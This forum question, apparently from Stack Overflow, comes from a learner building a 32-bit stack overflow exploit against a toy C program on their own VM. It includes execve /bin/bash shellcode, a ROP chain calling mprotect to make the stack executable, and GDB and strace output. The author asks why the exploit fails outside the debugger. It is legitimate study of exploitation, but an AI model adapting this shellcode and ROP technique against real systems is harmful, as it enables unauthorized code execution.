First and foremost i have to mention that i wrote very much to what i did to maybe help other people interested in binary exploitation unterstand what i did and to document.
The actual Question starts after the second "___________________"
Lately i am learning some binary Exploitation, that brings me to my Question regarding this Topic:
What i am trying to accomplish: I have got an 64 bit Ubuntu Virtual Machine where i am compiling vulnerable .c Code as 32 bit. The ASLR and Stack Canary should be turned off for my test and the NX bit should be set. My Goal is to use ROPGadgets to make the Stack executable with mprotect.
What i already accomplished:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[100];
strcpy(buf, argv[1]);
printf("Input was: %s\n", buf);
return 0;
}
I ran the following commands to disable ASLR and compiled the Program with the following comands:
1) When Compiling:
gcc -m32 buf.c -o buf -fno-stack-protector
2) On System:
setarch `uname -m` -R /bin/bash
sudo sysctl kernel.randomize_va_space=0
The Result of gdb-peda checksec:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
The Plan how it should be accomplished with the ROP Chain: the buffer is 100 bytes in size and the Payload is 33 bytes in size. so the first thing in the buffer will be a NOP sled (for debugging purposes i replaced this with a padding "AAAABBBB...") following the shellcode to run "/bin/bash". Hence it is a modern 32bit binary the first thing after segfault size needs to be the ecx value (which is the ebp value + 0x4) followed by a padding "CCCC". After that follow the ROP Gadgets to pop; ret; for ebx, ecx and edx Registers to fill the Registers with the Arguments for mprotect. (Note: these need to avoid zero bytes cause of the use of strcpy, therefore we change the values to avoid zero bytes and use inc and dec ROP Gadgets to adjust these values after they have been poped to the according registers. After that follows the call to mprotect + 17 bytes to skip the poping of registers, another padding and the return address to the NOP sled.
from subprocess import call
from struct import pack
SegfaultValue = 100
payload = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
payload_len = 33
nop_len = SegfaultValue - int(payload_len)
offset = 0x0
libc_base = 0xf7dc3000
mprotect = pack("I", libc_base + 0x001041b0 + 17) #+17 to skip the setting of registers for the mprotect function
pop_ecx_edx = pack("I", libc_base + 0x000350e4)
pop_ebx = pack("I", libc_base + 0x000224a6)
inc_ebx = pack("I", libc_base + 0x0008b822)
dec_ebx = pack("I", libc_base + 0x00149951)
inc_ecx = pack("I", libc_base + 0x0002ecc1)
dec_ecx = pack("I", libc_base + 0x000233fa)
inc_edx = pack("I", libc_base + 0x00087df4)
#nop = "\x90"*nop_len
nop = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQ"
ecx = pack("I", 0xffffcedc + offset)
pad = "CCCC"
ebx_value = pack("I", 0xfffdd001)
ecx_value = pack("I", 0x01010101)
edx_value = pack("I", 0xffffffff)
returnaddr = pack("I", 0xffffce80 + offset)
exploit = nop + payload
exploit += ecx
exploit += pad
exploit += pop_ecx_edx + ecx_value + edx_value
exploit += pop_ebx + ebx_value
exploit += dec_ebx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += inc_edx
exploit += mprotect
exploit += pad
exploit += returnaddr
print(exploit)
This works all fine in GDB as the follwoing screenshots suggest:
As you can see the values are correctly poped to the registers pop registers
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x43434343 ('CCCC')
ECX: 0xffffcedc --> 0x1010101
EDX: 0x56557016 --> 0x1b010000
ESI: 0xf7fae000 --> 0x1ead6c
EDI: 0xf7fae000 --> 0x1ead6c
EBP: 0xf7df80e4 (<setjmp+84>: pop ecx)
ESP: 0xffffcedc --> 0x1010101
EIP: 0xf7df80e4 (<setjmp+84>: pop ecx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7df80d9 <setjmp+73>: push 0x1
0xf7df80db <setjmp+75>: push DWORD PTR [esp+0x8]
0xf7df80df <setjmp+79>: call 0xf7df8040
=> 0xf7df80e4 <setjmp+84>: pop ecx
0xf7df80e5 <setjmp+85>: pop edx
0xf7df80e6 <setjmp+86>: ret
0xf7df80e7: xchg ax,ax
0xf7df80e9: xchg ax,ax
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xfffdd001 --> 0x0
ECX: 0x1010101
EDX: 0xffffffff
ESI: 0xf7fae000 --> 0x1ead6c
EDI: 0xf7fae000 --> 0x1ead6c
EBP: 0xf7df80e4 (<setjmp+84>: pop ecx)
ESP: 0xffffceec --> 0xf7f0c951 (<_IO_file_write+49>: dec ebx)
EIP: 0xf7de54a7 (ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7de54a0: add esp,0x10
0xf7de54a3: add esp,0x8
0xf7de54a6: pop ebx
=> 0xf7de54a7: ret
0xf7de54a8: lea esi,[esi+eiz*1+0x0]
0xf7de54af: nop
0xf7de54b0: mov eax,DWORD PTR [ebx+0x170c]
0xf7de54b6: test eax,eax
Correctly adjusted register values after inc and dec Gadgets: Final register values
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xfffdd000 --> 0x0
ECX: 0x1010101
EDX: 0x7
ESI: 0xf7fae000 --> 0x1ead6c
EDI: 0xf7fae000 --> 0x1ead6c
EBP: 0xf7df80e4 (<setjmp+84>: pop ecx)
ESP: 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>: mov eax,0x7d)
EIP: 0xf7e4adf5 (<calloc+421>: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xf7e4adf5 <calloc+421>: ret
0xf7e4adf6 <calloc+422>: jmp 0xf7e4ad3b <calloc+235>
0xf7e4adfb <calloc+427>: lea esi,[esi+eiz*1+0x0]
0xf7e4adff <calloc+431>: nop
The following 2 screenshots show that the mprotect function works: (before and after mprotect call)
before:
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56556000 0x56557000 r-xp /home/stephan/Desktop/NonExecutableStack/buf
0x56557000 0x56558000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56558000 0x56559000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56559000 0x5655a000 rw-p /home/stephan/Desktop/NonExecutableStack/buf
0xf7dc3000 0xf7de0000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7de0000 0xf7f3b000 r-xp /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7f3b000 0xf7fab000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fab000 0xf7fac000 ---p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fac000 0xf7fae000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fae000 0xf7fb0000 rw-p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb0000 0xf7fb2000 rw-p mapped
0xf7fc9000 0xf7fcb000 rw-p mapped
0xf7fcb000 0xf7fcf000 r--p [vvar]
0xf7fcf000 0xf7fd1000 r-xp [vdso]
0xf7fd1000 0xf7fd2000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rw-p [stack]
after:
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56556000 0x56557000 r-xp /home/stephan/Desktop/NonExecutableStack/buf
0x56557000 0x56558000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56558000 0x56559000 r--p /home/stephan/Desktop/NonExecutableStack/buf
0x56559000 0x5655a000 rw-p /home/stephan/Desktop/NonExecutableStack/buf
0x5655a000 0x5657c000 rw-p [heap]
0xf7dc3000 0xf7de0000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7de0000 0xf7f3b000 r-xp /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7f3b000 0xf7fab000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fab000 0xf7fac000 ---p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fac000 0xf7fae000 r--p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fae000 0xf7fb0000 rw-p /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb0000 0xf7fb2000 rw-p mapped
0xf7fc9000 0xf7fcb000 rw-p mapped
0xf7fcb000 0xf7fcf000 r--p [vvar]
0xf7fcf000 0xf7fd1000 r-xp [vdso]
0xf7fd1000 0xf7fd2000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp [stack]
The following Screehots suggest that the NOP sled is hit correctly and /bin/bash is run in GDB:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xfffdd000 --> 0x0
ECX: 0x1010101
EDX: 0x7
ESI: 0xf7fae000 --> 0x1ead6c
EDI: 0xf7fae000 --> 0x1ead6c
EBP: 0xf7df80e4 (<setjmp+84>: pop ecx)
ESP: 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>: mov eax,0x7d)
EIP: 0xf7e4adf5 (<calloc+421>: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xf7e4adf5 <calloc+421>: ret
0xf7e4adf6 <calloc+422>: jmp 0xf7e4ad3b <calloc+235>
0xf7e4adfb <calloc+427>: lea esi,[esi+eiz*1+0x0]
0xf7e4adff <calloc+431>: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0xf7ec71c1 (<mprotect+17>: mov eax,0x7d)
0004| 0xffffcf14 ("CCCC\200\316\377\377")
0008| 0xffffcf18 --> 0xffffce80 ("FFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQj\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341̀\334\316\377\377CCCC\344\200\337\367\001\001\001\001\377\377\377\377\246T\336\367\001\320\375\377Q\311\360\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\364\255\344\367\301q\354\367CCCC\200\316\377\377")
0012| 0xffffcf1c --> 0xf7fae000 --> 0x1ead6c
0016| 0xffffcf20 --> 0x0
0020| 0xffffcf24 --> 0xd8bac57b
0024| 0xffffcf28 --> 0x9b1a636b
0028| 0xffffcf2c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7e4adf5 in calloc () from /lib/i386-linux-gnu/libc.so.6
gdb-peda$ c
Continuing.
process 4408 is executing new program: /usr/bin/bash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x56556246
gdb-peda$ c
Continuing.
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x56556246
Command aborted.
gdb-peda$ d
gdb-peda$ c
Continuing.
[Attaching after process 4408 fork to child process 4595]
[New inferior 2 (process 4595)]
[Detaching after fork from parent process 4408]
[Inferior 1 (process 4408) detached]
process 4595 is executing new program: /usr/bin/groups
[Inferior 2 (process 4595) exited normally]
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
Warning: not running
gdb-peda$ stephan@stephan-VirtualBox:/home/stephan/Desktop/NonExecutableStack$
Sorry for this long post. Now to the Question/Problem
When i run the binary outside of GDB with the payload output ("./buf python2 ./test.py
") i get a segfault.
As you can see in the following with strace my pattern is hit at 0x44444444 which is "DDDD".
execve("./buf", ["./buf", "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"...], 0x7fffffffde58 /* 61 vars */) = 0
strace: [ Process PID=4793 runs in 32 bit mode. ]
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x5655a000
arch_prctl(0x3001 /* ARCH_??? */, 0xffffcf38) = -1 EINVAL (Invalid argument)
fcntl64(0, F_GETFD) = 0
fcntl64(1, F_GETFD) = 0
fcntl64(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7fc9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=94032, ...}) = 0
mmap2(NULL, 94032, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7fb2000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\240\360\1\0004\0\0\0"..., 512) = 512
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\373v&\335\213\212P\367hY H~\231%("..., 96, 468) = 96
fstat64(3, {st_mode=S_IFREG|0755, st_size=2022760, ...}) = 0
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\373v&\335\213\212P\367hY H~\231%("..., 96, 468) = 96
mmap2(NULL, 2027276, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7dc3000
mprotect(0xf7de0000, 1884160, PROT_NONE) = 0
mmap2(0xf7de0000, 1421312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0xf7de0000
mmap2(0xf7f3b000, 458752, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x178000) = 0xf7f3b000
mmap2(0xf7fac000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e8000) = 0xf7fac000
mmap2(0xf7fb0000, 7948, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7fb0000
close(3) = 0
set_thread_area({entry_number=-1, base_addr=0xf7fca100, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
mprotect(0xf7fac000, 8192, PROT_READ) = 0
mprotect(0x56558000, 4096, PROT_READ) = 0
mprotect(0xf7ffc000, 4096, PROT_READ) = 0
munmap(0xf7fb2000, 94032) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
brk(NULL) = 0x5655a000
brk(0x5657b000) = 0x5657b000
brk(0x5657c000) = 0x5657c000
write(1, "Input was: AAAABBBBCCCCDDDDEEEEF"..., 188Input was: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQj
X�Rfh-p��Rjhh/bash/bin��RQS��̀����CCCC��������T�����Q������������������������������������q��CCCC����
) = 188
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x44444444} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
It seems like mprotect is not even run or am i mssing something?
That means:
Finally My Question:
What did i forget here?
User contributions licensed under CC BY-SA 3.0